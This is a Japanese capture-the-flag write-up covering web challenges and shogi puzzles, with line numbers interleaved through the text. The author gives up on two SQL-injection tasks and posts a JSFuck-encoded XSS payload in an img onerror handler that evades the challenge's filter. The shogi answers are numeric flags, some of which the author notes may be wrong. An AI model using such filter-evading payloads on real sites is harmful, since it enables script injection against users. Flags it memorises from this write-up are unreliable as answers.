# 195 超文書転送術 Yamatoo
2447
2448
 検索エンジンのWebフロントエンドを作ったので、テストしてください。
2449
データベースには機密データがあるので、WAFを導入しています。
2450
あなたはその機密データを盗めないでしょう☆(ゝω・)v
2451
2452
http://yamatoctf:GUn7Sn1LVJQZBwyG8wZPAItnoBZ04Tlx@210.146.64.45/
2453
source code: http://yamatoctf:GUn7Sn1LVJQZBwyG8wZPAItnoBZ04Tlx@210.146.64.45/yamatoo-f81d10a8b575f2d00542b61e6e8e6748.tar.gz
2454
(ツールを使ひても助けてくださらぬ。ソースコードを読みて存念て下され。)
2455
2456
----
2457
ギブアップ。'の入力でエラーになるので、SQLインジェクションが可能であることは解るんだけど、任意のSQL文を実行させようにも、
2458
その後のngram関数が邪魔して、にっちもさっちもいかなかったのです。
2459
教えてエロい人。。
2460
2461
# 196 超文書転送術 Yamatonote
2462
2463
 Yamatonoteはすーぱりあるぱーふぇくとなセキュリティです☆(ゝω・)v
2464
あなたは「yamato」からノートを盗めますか?
2465
2466
http://yamatoctf:GUn7Sn1LVJQZBwyG8wZPAItnoBZ04Tlx@210.146.64.46/
2467
source code: http://yamatoctf:GUn7Sn1LVJQZBwyG8wZPAItnoBZ04Tlx@210.146.64.46/yamatonote-ad66cc20b9e0f0a3b726c47cfe297c59.tar.gz
2468
(ツールを使ひても助けてくださらぬ。ソースコードを読みて存念て下され。)
2469
2470
----
2471
ギブアップ。「195 超文書転送術 Yamatoo」も解けたらやろうと思ってたけど、解けてないからやらなかった。
2472
教えてエロい人。。
2473
2474
2475
# 197 超文書転送術 箱庭XSS 2
2476
2477
197-hakoniwa-xss-package-q2.zip
2478
2479
---
2480
伝説の箱にはXSS その2でございます。
2481
2482
「193 超文書転送術 箱庭XSS」と同じ入力はもちろん受け付けてくれない。
2483
2484
でも、諦めちゃいけない。試す価値はある。「193 超文書転送術 箱庭XSS」で通った入力を[jsFuck](http://www.jsfuck.com/)という方法でエンコードしてみる。
2485
2486
2487
```
2488
<img src=x onerror="[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()">
2489
```
2490
2491
これでいけた。
2492
2493
2494
2495
2496
2497
2498
2499
2500
# 201 兵法術 将棋詰め壱
2501
2502
![201-shogi-100.jpg](201-shogi-100.jpg)
2503
2504
詰将棋でござる。
2505
フラグは4桁の数字でお願いします。
2506
2507
例:歩を一歩前に進めたい場合は、5556を入力して下さい。
2508
2509
(数字にご注意を!)
2510
2511
----
2512
やるだけ。コンピュータの何かを利用しなくても解ける。
2513
というか、詰将棋を解くソフト等を利用しても、想定解より多い手数になったりして、あまり有用ではなかった。
2514
2515
4769
2516
2517
# 202 兵法術 将棋詰め弐
2518
2519
![202-shogi-200.jpg](202-shogi-200.jpg)
2520
2521
フラグが14桁の数字でござる。
2522
2523
数字を間違ゑぬごとくご注意下され。
2524
よくぞ拝見する人・よくぞ気付く人しか解けぬ問題でござる。
2525
2526
----
2527
やるだけ。数字は、1個だけ罠があるので、気をつけなければならない。
2528
2529
解答メモってなかったらしく、わからんです。
2530
2531
# 203 兵法術 将棋詰め参
2532
2533
![203-shogi-300.jpg](203-shogi-300.jpg)
2534
2535
フラグは12桁の数字でござる。
2536
玉の動きはフラグに含まれているでござる。
2537
2538
----
2539
やるだけ。
2540
2541
545646455747
2542
2543
ちゃんとメモってなかったから、もしかしたら違うかも。
2544
2545
# 204 兵法術 将棋詰め四
2546
2547
![204-shogi-400.jpg](204-shogi-400.jpg)
2548
2549
フラグは20桁の数字でござる。
2550
玉の動きはフラグに含まれているでござる。
2551
2552
----
2553
やるだけ。
2554
2555
26364656776656453635
2556
2557
ちゃんとメモってなかったから、もしかしたら違うかも。